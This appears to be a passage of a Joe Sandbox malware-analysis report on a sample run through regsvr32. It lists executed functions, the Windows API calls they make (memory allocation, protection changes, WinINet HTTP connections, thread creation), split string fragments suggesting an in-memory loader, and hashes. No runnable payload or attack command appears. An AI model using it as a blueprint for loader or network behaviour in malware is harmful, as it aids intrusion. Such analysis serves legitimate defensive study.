				_a1380 = _a1200;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a1380, 2, 2, _a1512 ^ _t389, L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3e70c
0x7fef9d3e70c
0x7fef9d3e717
0x7fef9d3e72a
0x7fef9d3e731
0x7fef9d3e740
0x7fef9d3e745
0x7fef9d3e74f
0x7fef9d3e762
0x7fef9d3e768
0x7fef9d3e77b
0x7fef9d3e785
0x7fef9d3e78a
0x7fef9d3e792
0x7fef9d3e7a2
0x7fef9d3e7ac
0x7fef9d3e7b1
0x7fef9d3e7b9
0x7fef9d3e7c7
0x7fef9d3e7d2
0x7fef9d3e7e1
0x7fef9d3e7e5
0x7fef9d3e7ed
0x7fef9d3e7f7
0x7fef9d3e7ff
0x7fef9d3e807
0x7fef9d3e812
0x7fef9d3e81c
0x7fef9d3e823
0x7fef9d3e82b
0x7fef9d3e835
0x7fef9d3e83c
0x7fef9d3e84d
0x7fef9d3e858
0x7fef9d3e865
0x7fef9d3e871
0x7fef9d3e879
0x7fef9d3e87b
0x7fef9d3e883
0x7fef9d3e896
0x7fef9d3e8a3
0x7fef9d3e8b8
0x7fef9d3e8c5
0x7fef9d3e8c7
0x7fef9d3e8cf
0x7fef9d3e8d8
0x7fef9d3e8e4
0x7fef9d3e8e6
0x7fef9d3e8f7
0x7fef9d3e8f9
0x7fef9d3e909
0x7fef9d3e90e
0x7fef9d3e918
0x7fef9d3e91e
0x7fef9d3e929
0x7fef9d3e934
0x7fef9d3e957
0x7fef9d3e963
0x7fef9d3e990
0x7fef9d3e9a2
0x7fef9d3e9a4
0x7fef9d3e9b8
0x7fef9d3e9c2
0x7fef9d3e9c7
0x7fef9d3e9d9
0x7fef9d3e9e5
0x7fef9d3e9f5
0x7fef9d3e9fc
0x7fef9d3ea09
0x7fef9d3ea13
0x7fef9d3ea1d
0x7fef9d3ea26
0x7fef9d3ea2f
0x7fef9d3ea3e
0x7fef9d3ea4b
0x7fef9d3ea52
0x7fef9d3ea57
0x7fef9d3ea5f
0x7fef9d3ea6a
0x7fef9d3ea71
0x7fef9d3ea76
0x7fef9d3ea7e
0x7fef9d3ea89
0x7fef9d3ea90
0x7fef9d3ea95
0x7fef9d3eaad
0x7fef9d3eabd
0x7fef9d3eada
0x7fef9d3eaf8
0x7fef9d3eb06
0x7fef9d3eb11
0x7fef9d3eb2e
0x7fef9d3eb38
0x7fef9d3eb43
0x7fef9d3eb49
0x7fef9d3eb4e
0x7fef9d3eb5a
0x7fef9d3eb71
0x7fef9d3eb7a
0x7fef9d3eb85
0x7fef9d3eb8a
0x7fef9d3eb97
0x7fef9d3ebc9
0x7fef9d3ebd8
0x7fef9d3ebda
0x7fef9d3ebe5
0x7fef9d3ebff
0x7fef9d3ec1a
0x7fef9d3ec22
0x7fef9d3ec27
0x7fef9d3ec42
0x7fef9d3ec4f
0x7fef9d3ec5a
0x7fef9d3ec77
0x7fef9d3ec82
0x7fef9d3ec8e
0x7fef9d3ec93
0x7fef9d3ec9c
0x7fef9d3eca9
0x7fef9d3ecb3
0x7fef9d3ecb5
0x7fef9d3ecc0
0x7fef9d3ecc2
0x7fef9d3eccd
0x7fef9d3ecd4
0x7fef9d3ece3
0x7fef9d3ece5
0x7fef9d3ecec
0x7fef9d3ecf1
0x7fef9d3ecf4
0x7fef9d3ed06
0x7fef9d3ed0e
0x7fef9d3ed10
0x7fef9d3ed1b
0x7fef9d3ed1d
0x7fef9d3ed22
0x7fef9d3ed28
0x7fef9d3ed31
0x7fef9d3ed4c
0x7fef9d3ed51
0x7fef9d3ed61
0x7fef9d3ed6d
0x7fef9d3ed76
0x7fef9d3ed82
0x7fef9d3eda5

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E785

Strings

9, xrefs: 000007FEF9D3E988
', xrefs: 000007FEF9D3E70C

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: '$9
API String ID: 1967237116-1823400153
Opcode ID: 96444a5ecc25f07181ec4491dd73a0df774b8fd8e649fad80ce219d3ce06daa6
Instruction ID: 29668378713c93b892a0041d725b85e979c1ad93fe9cb8202607dd12c91b0faa
Opcode Fuzzy Hash: 96444a5ecc25f07181ec4491dd73a0df774b8fd8e649fad80ce219d3ce06daa6
Instruction Fuzzy Hash: 0241C33660DA858AE7A18B19E8407AFB3E4F7C5752F100125E6D8C6AE8EBBDD4408F14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3D710 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

_unlock.LIBCMTD ref: 000007FEF9D3D7BF

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgdel.cpp, xrefs: 000007FEF9D3D78E
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D3D779

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgdel.cpp
API String ID: 2480363372-1749241151
Opcode ID: 2b49e58eed8e6e59642ee45ba138bd684622393025d622caadb7daf1159c6293
Instruction ID: 04ee9255729ef7e149dbf43242f730f4bbed3ff16cc2c5ac2558ad9c7efde415
Opcode Fuzzy Hash: 2b49e58eed8e6e59642ee45ba138bd684622393025d622caadb7daf1159c6293
Instruction Fuzzy Hash: BC113D7AA2868686EBE49B94DC41B6D63E1F780755F205035E68E43BA4CB3DE404CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D41200 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D4120D
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D4125E

Strings

csm, xrefs: 000007FEF9D4121D

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DestroyedExceptionFindFrameObjectUnlink
String ID: csm
API String ID: 1826589669-1018135373
Opcode ID: 34ffa76e03f6f125ffde0022bc26c820041218dfec633c9b0636301340e9056d
Instruction ID: 9f3dc625307ec028be1fda2cc305f99b8c00c3b4febe2b6a2618c0b56fcdacc0
Opcode Fuzzy Hash: 34ffa76e03f6f125ffde0022bc26c820041218dfec633c9b0636301340e9056d
Instruction Fuzzy Hash: 61114232944681CADFA0DF79C8812BD27E4F795B88F615135EA5D877B1CB26D981C300

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F3E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

_free_nolock.LIBCMTD ref: 000007FEF9D2F419

Strings

("Corrupted pointer passed to _freea", 0), xrefs: 000007FEF9D2F430
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\malloc.h, xrefs: 000007FEF9D2F445

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_nolock
String ID: ("Corrupted pointer passed to _freea", 0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\malloc.h
API String ID: 2882679554-3458198949
Opcode ID: fcbdd2152eeca573d64b24b70be95bad50c5d4f9526249e7eb53e402592ebf7b
Instruction ID: d33f1896f8d52307a9012ea76dc3fce74adc3acb1f5112dbea688671cc213a85
Opcode Fuzzy Hash: fcbdd2152eeca573d64b24b70be95bad50c5d4f9526249e7eb53e402592ebf7b
Instruction Fuzzy Hash: 3B01F431A1C78286EBD09B6AE88576EB3D4F390350F614535E6CD43FA9DBBED4058B01

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 2472, Parent PID: 1820COMMON

Execution Graph

Execution Coverage:	14.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4%
Total number of Nodes:	99
Total number of Limit Nodes:	14

Executed Functions

Function 00130000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 00130450
GetNativeSystemInfo.KERNEL32 ref: 00130539
VirtualAlloc.KERNEL32 ref: 00130580
VirtualProtect.KERNEL32 ref: 001309E9

Strings

ualA, xrefs: 001300E8
ativ, xrefs: 0013013D
tion, xrefs: 00130128
Cach, xrefs: 0013012F
GetN, xrefs: 00130136
Reso, xrefs: 001302FC
Virt, xrefs: 001300F8
Libr, xrefs: 001300D0
Reso, xrefs: 00130338
Reso, xrefs: 001302DB
aryA, xrefs: 001300D8
ualP, xrefs: 001300FF
temI, xrefs: 0013014B
Flus, xrefs: 00130113
truc, xrefs: 00130121
ddFu, xrefs: 00130163
urce, xrefs: 001302E7
urce, xrefs: 00130304
Find, xrefs: 001302D0
ncti, xrefs: 0013016A
Size, xrefs: 00130311
Slee, xrefs: 001300B7
Virt, xrefs: 001300E0
rote, xrefs: 00130106
Load, xrefs: 001302F4
hIns, xrefs: 0013011A
sour, xrefs: 0013031F
Load, xrefs: 001300C8
eSys, xrefs: 00130144
urce, xrefs: 00130340
Reso, xrefs: 00130355
RtlA, xrefs: 0013015C
urce, xrefs: 0013035D
Lock, xrefs: 00130330
onTa, xrefs: 00130171
lloc, xrefs: 001300F0
Free, xrefs: 0013034D
ofRe, xrefs: 00130318

Memory Dump Source

Source File: 00000004.00000002.1223112553.0000000000130000.00000040.00001000.00020000.00000000.sdmp, Offset: 00130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_130000_regsvr32.jbxd

Similarity

API ID: Virtual$Alloc$InfoNativeProtectSystem
String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
API String ID: 2313188843-2517549848
Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction ID: c3ad375b28d4005cd65bc3de3fd702d44b77b28fe8b76393b77b528eb6f720f0
Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction Fuzzy Hash: CF72D470618B488FDB2ADF18C8956B9B7E1FB98305F10462DE8CAD7211DB34D986CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800248B0 Relevance: 4.1, Strings: 3, Instructions: 366
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

bW, xrefs: 0000000180024E6B
O}, xrefs: 0000000180024AB3
X, xrefs: 0000000180024D6B

Memory Dump Source

Source File: 00000004.00000002.1223736851.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: O}$X$bW
API String ID: 0-980370356
Opcode ID: e18e412b8bd09892e521a5e3965d89a97fc604b3097fc8c53db2340d1ed33825
Instruction ID: a62d154362f2d503ef0efb6b3a203e4a1ee478d45050cbe1ab820923c54e17f6
Opcode Fuzzy Hash: e18e412b8bd09892e521a5e3965d89a97fc604b3097fc8c53db2340d1ed33825
Instruction Fuzzy Hash: AA02F4715087C88BD799CFA8C48A69EFBE1FB98744F104A1DF4868B260D7F4D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006B24 Relevance: 4.0, Strings: 3, Instructions: 284
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HG, xrefs: 0000000180006E14
C2, xrefs: 0000000180006EBC
"Gd, xrefs: 0000000180006E8F

Memory Dump Source

Source File: 00000004.00000002.1223736851.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "Gd$C2$HG
API String ID: 0-142661339
Opcode ID: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction ID: f3040b85d87bafdcd4b0814e46a5c4b4479db0c4bbfe4c952327208bca537128
Opcode Fuzzy Hash: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction Fuzzy Hash: 20C112719047CD8FDB89CFA8C88A6ED7BB1FB48354F104229F80697660DBB4D949CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006F2C Relevance: 2.7, Strings: 2, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

e##, xrefs: 0000000180007141
$!, xrefs: 00000001800070F4

Memory Dump Source

Source File: 00000004.00000002.1223736851.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $!$e##
API String ID: 0-2900154246
Opcode ID: c6b9a8fabe697f5b2ca67d9c03e63fc4ca39ad07d0e3d1e241ff45a68ef3815c
Instruction ID: 216da8bcfa57d9aa83ad41f20fe658cab1eb670466840fb7186bd91b9371edf3
Opcode Fuzzy Hash: c6b9a8fabe697f5b2ca67d9c03e63fc4ca39ad07d0e3d1e241ff45a68ef3815c
Instruction Fuzzy Hash: 7B8190705187889BD7E8DF14C4C979EBBE1FB98344F905A1CF89A8B261CB74C948CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002446C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 61
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 0000000180024567

Strings

Z*, xrefs: 00000001800244B6
&J@, xrefs: 00000001800244C7
Va, xrefs: 000000018002452C

Memory Dump Source

Source File: 00000004.00000002.1223736851.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: InternetOpen
String ID: &J@$Va$Z*
API String ID: 2038078732-1197100596
Opcode ID: 66813e264fa1cc35a44db824818c230c237c196eb5c6617bb8c0918fb9f82c0e
Instruction ID: 28a15b3c09fe6a2aa9f5eb42736a691d582ff290fd3432c8dba93e18a197623f
Opcode Fuzzy Hash: 66813e264fa1cc35a44db824818c230c237c196eb5c6617bb8c0918fb9f82c0e
Instruction Fuzzy Hash: 8A212F715187898FD3A8DF28C0493ABB7E1FB98319F408A1DE4CAC6391DB799448CB06

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001BF0C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 000000018001C04A

Strings

`/, xrefs: 000000018001BFA5

Memory Dump Source

Source File: 00000004.00000002.1223736851.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: `/
API String ID: 823142352-1163903809
Opcode ID: 9329703c180bff9c13a57ad2c9d4e17d6ae624210817fa9d3c733bf06a68d3a6
Instruction ID: f11eb3e7a352e1f1819d3b1e5829977cbaca57bf71308e5d5317c3bcacfeb84e
Opcode Fuzzy Hash: 9329703c180bff9c13a57ad2c9d4e17d6ae624210817fa9d3c733bf06a68d3a6
Instruction Fuzzy Hash: 6C3137B061CB848FD364DF18D48579ABBE0FB88314F504A2EE88DC3362DB749845CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016500 Relevance: 1.6, APIs: 1, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 0000000180016662

Memory Dump Source

Source File: 00000004.00000002.1223736851.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: ConnectInternet
String ID:
API String ID: 3050416762-0
Opcode ID: 696bad1b1d1373c4a188d8be72565791f44f69a250ba4c3bd44038e3e2a3a9cf
Instruction ID: 6bd4319daaf70d9cfa93cd172db4ac0144cd1887b423fd46bbb7d9a578168b32
Opcode Fuzzy Hash: 696bad1b1d1373c4a188d8be72565791f44f69a250ba4c3bd44038e3e2a3a9cf
Instruction Fuzzy Hash: 8C41F7705087848FC7B8DF58D48579ABBE0FB98315F108A5EE48DD7361DB749884CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017BF8 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNEL32 ref: 0000000180017D42

Memory Dump Source

Source File: 00000004.00000002.1223736851.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 1949fae2aaba8b4119d5023be7d4790b480e02f5c580bad52ddd601b650acc4f
Instruction ID: e87697cfd510fd4059a611545946932b1d04e28e1a34b551021fd5cd6805f499
Opcode Fuzzy Hash: 1949fae2aaba8b4119d5023be7d4790b480e02f5c580bad52ddd601b650acc4f
Instruction Fuzzy Hash: AB31E770618B888FD7B8CF68D4857AAB7E1FB89315F508A1EE48DC7251CB749845CB43

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800149CC Relevance: 1.6, APIs: 1, Instructions: 91networkCOMMON

Download Yara Rule

APIs

HttpOpenRequestW.WININET ref: 0000000180014B07

Memory Dump Source

Source File: 00000004.00000002.1223736851.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: HttpOpenRequest
String ID:
API String ID: 1984915467-0
Opcode ID: 2abca7ab27ce1f38676343e57d0af3d26f331b1f8e41c5eb7387a3a1acb3ccf2
Instruction ID: c8d36c456ba033a28ec6fbd746a54a3663befea28eedef4c15a9fc959fe4c155
Opcode Fuzzy Hash: 2abca7ab27ce1f38676343e57d0af3d26f331b1f8e41c5eb7387a3a1acb3ccf2
Instruction Fuzzy Hash: D331607050CB848BE7B4DF08D4C9B9AB7E0FB98315F108A4DE48DD7296CB789484CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180011EF8 Relevance: 1.6, APIs: 1, Instructions: 88threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 000000018001202C

Memory Dump Source

Source File: 00000004.00000002.1223736851.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 43f2add25367f37c20804a12f5309876908a740bd4f725cbfb4cce081a5c4e54
Instruction ID: 87f7a9be59381a5b3d954798ed335bb6745bcd8ebd0cdd375d804fe942fcfa66
Opcode Fuzzy Hash: 43f2add25367f37c20804a12f5309876908a740bd4f725cbfb4cce081a5c4e54
Instruction Fuzzy Hash: 7A312B7160CB848FDBA8DF18E48579AB7E1FB98314F10465EE88CC7396DB309984CB46

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 1160, Parent PID: 2600COMMON

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	2.5%
Signature Coverage:	0%
Total number of Nodes:	1873
Total number of Limit Nodes:	40

Executed Functions

Function 000007FEF75312B0 Relevance: 210.9, APIs: 6, Strings: 114, Instructions: 872
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoLoadLibrary.OLE32 ref: 000007FEF7532F02
MessageBoxA.USER32 ref: 000007FEF7532F1C
ExitProcess.KERNEL32 ref: 000007FEF7532F27
VirtualAlloc.KERNELBASE ref: 000007FEF7532F57
RtlAllocateHeap.NTDLL ref: 000007FEF7532F65
CoTaskMemFree.OLE32 ref: 000007FEF7532F86

Strings

wk/, xrefs: 000007FEF7531784
}'6, xrefs: 000007FEF7531B76
0kj., xrefs: 000007FEF753144D
Pl5, xrefs: 000007FEF7531E3C
0.3, xrefs: 000007FEF75313AC
3ob, xrefs: 000007FEF75315EA
S}pn, xrefs: 000007FEF75322BA
(pd, xrefs: 000007FEF75321CA
mCl4, xrefs: 000007FEF75316C6
%</, xrefs: 000007FEF75324A4
Cb47, xrefs: 000007FEF7532D00
S[L, xrefs: 000007FEF753218E
g@$, xrefs: 000007FEF7532328
pAT#, xrefs: 000007FEF7531B4E
MDj, xrefs: 000007FEF753281E
5vCx, xrefs: 000007FEF7532B98
?CE`, xrefs: 000007FEF7531BF8
ePO, xrefs: 000007FEF7531A04
j+h, xrefs: 000007FEF75328BE
i~e, xrefs: 000007FEF7531FCC
h78<, xrefs: 000007FEF7531AA4
rkE@, xrefs: 000007FEF7531415
L ]1, xrefs: 000007FEF7531842
$D1v, xrefs: 000007FEF75315CC
U9#(, xrefs: 000007FEF75324EA
$:*:, xrefs: 000007FEF7532C74
$931, xrefs: 000007FEF7531D56
e7tc, xrefs: 000007FEF7532C6A
#z$U, xrefs: 000007FEF75321B6
EBg, xrefs: 000007FEF7531F9A
PX5, xrefs: 000007FEF753265C
+ong, xrefs: 000007FEF7532A3A
Puvm, xrefs: 000007FEF7532D0A
9[+, xrefs: 000007FEF7531FD6
$}%z, xrefs: 000007FEF7532C7E
VO4, xrefs: 000007FEF7531BD0
oE, xrefs: 000007FEF7532418
:9m?, xrefs: 000007FEF7532792
kxfc, xrefs: 000007FEF75318A6
|X, xrefs: 000007FEF7531AC2
^*C, xrefs: 000007FEF753209E
,$n, xrefs: 000007FEF7531658
N1kj^H<M1vf@$_yiXP+o*hH*fZQl5vC5qjfXErgxjcCb4v_e75<edkge!z$U9k+h, xrefs: 000007FEF7532FBB
1\u, xrefs: 000007FEF7532CBA
t(O, xrefs: 000007FEF75318C4
D)'U, xrefs: 000007FEF75322A6
2s<S, xrefs: 000007FEF753236E
<M}O, xrefs: 000007FEF7531D6A
Ya], xrefs: 000007FEF7531590
%U9, xrefs: 000007FEF7532A9E
@ , xrefs: 000007FEF75329EA
c-_j, xrefs: 000007FEF75321F2
Ko*h, xrefs: 000007FEF7532CC4
%8#, xrefs: 000007FEF7531D06
Eekg, xrefs: 000007FEF75324D6
%Uc, xrefs: 000007FEF7532E18
"V2, xrefs: 000007FEF753280A
<)@P, xrefs: 000007FEF75315E0
`I, xrefs: 000007FEF7532634
M1vi, xrefs: 000007FEF75326F2
;qdf, xrefs: 000007FEF7531A7C
hx", xrefs: 000007FEF7531B30
C/, xrefs: 000007FEF7531E82
R;pB, xrefs: 000007FEF7531BBC
:!@, xrefs: 000007FEF753145B
?x?, xrefs: 000007FEF7531D2E
QlyO, xrefs: 000007FEF7531D9C
aUJ', xrefs: 000007FEF75317F2
wC54, xrefs: 000007FEF7532AF8
5qj', xrefs: 000007FEF7531F90
<v:, xrefs: 000007FEF7531A4A
|e:, xrefs: 000007FEF7532EDD
M z, xrefs: 000007FEF7531438
N3, xrefs: 000007FEF753245E
tc`, xrefs: 000007FEF75321C0
V9s, xrefs: 000007FEF753260C
}WL, xrefs: 000007FEF7531A22
`AnM, xrefs: 000007FEF7532E6F
4bB, xrefs: 000007FEF7532210
,1., xrefs: 000007FEF753258A
=kf^, xrefs: 000007FEF7531662
mbPv, xrefs: 000007FEF7531423
jfX, xrefs: 000007FEF7531EF0
.#(, xrefs: 000007FEF7531346
U+on, xrefs: 000007FEF7531E28
P+oo, xrefs: 000007FEF753233C
gVWH, xrefs: 000007FEF7531D88
&\hR, xrefs: 000007FEF7531EBE
-'C, xrefs: 000007FEF7531AAE
"!k, xrefs: 000007FEF75321FC
} z$, xrefs: 000007FEF75329F4
{fM$, xrefs: 000007FEF7531B8A
{$U|, xrefs: 000007FEF75323A0
8<-, xrefs: 000007FEF7531BEE
*hH%, xrefs: 000007FEF753215C
>~, xrefs: 000007FEF7531DA6
-{*, xrefs: 000007FEF753285A
%<, xrefs: 000007FEF7532CE2
xA\#, xrefs: 000007FEF753163A
V#s, xrefs: 000007FEF7531676
M13U, xrefs: 000007FEF75317B6
l|f, xrefs: 000007FEF7532080
*hH, xrefs: 000007FEF7531386
BxJr, xrefs: 000007FEF7531B26
werfault.exe, xrefs: 000007FEF7532E68
w&ed, xrefs: 000007FEF7532288
!@C+, xrefs: 000007FEF7531824
HPZ, xrefs: 000007FEF7532896
+iT, xrefs: 000007FEF7532012
It, xrefs: 000007FEF7531CC0
$huN, xrefs: 000007FEF7532DE6
FLIn, xrefs: 000007FEF75328FA
:'U@, xrefs: 000007FEF7532490
cDj, xrefs: 000007FEF75318E2

Memory Dump Source

Source File: 00000005.00000002.937056272.000007FEF7531000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF7530000, based on PE: true

Associated: 00000005.00000002.937052762.000007FEF7530000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.937070765.000007FEF7552000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.937081290.000007FEF755B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.937086378.000007FEF755F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7530000_regsvr32.jbxd

Similarity

API ID: AllocAllocateExitFreeHeapLibraryLoadMessageProcessTaskVirtual
String ID: %<$Ya]$g@$$|X$ 4bB$!@C+$"V2$#z$U$$931$$:*:$$D1v$$huN$$}%z$%8#$%</$%U9$&\hR$*hH%$+ong$+iT$-{*$-'C$.#($0kj.$0.3$1\u$2s<S$3ob$5qj'$5vCx$8<-$:!@$:'U@$:9m?$;qdf$<)@P$<M}O$<v:$=kf^$>~$?CE`$@ $BxJr$C/$Cb47$D)'U$Eekg$FLIn$HPZ$Ko*h$L ]1$M13U$M1vi$MDj$N1kj^H<M1vf@$_yiXP+o*hH*fZQl5vC5qjfXErgxjcCb4v_e75<edkge!z$U9k+h$P+oo$PX5$Puvm$QlyO$R;pB$S[L$S}pn$U+on$U9#($V#s$V9s$VO4$^*C$`AnM$aUJ'$c-_j$cDj$e7tc$ePO$gVWH$h78<$hx"$j+h$kxfc$l|f$mCl4$mbPv$pAT#$rkE@$t(O$tc`$w&ed$wC54$werfault.exe$wk/$xA\#${$U|${fM$$|e:$} z$$}'6$}WL$It$"!k$%Uc$(pd$*hH$,$n$,1.$9[+$?x?$EBg$M z$N3$Pl5$i~e$jfX$oE$`I
API String ID: 2181984824-2032897877
Opcode ID: be2b6721a01229fe6d62131d54c2e067f3d2e24da2d5df3bb551e88fe72b0fff
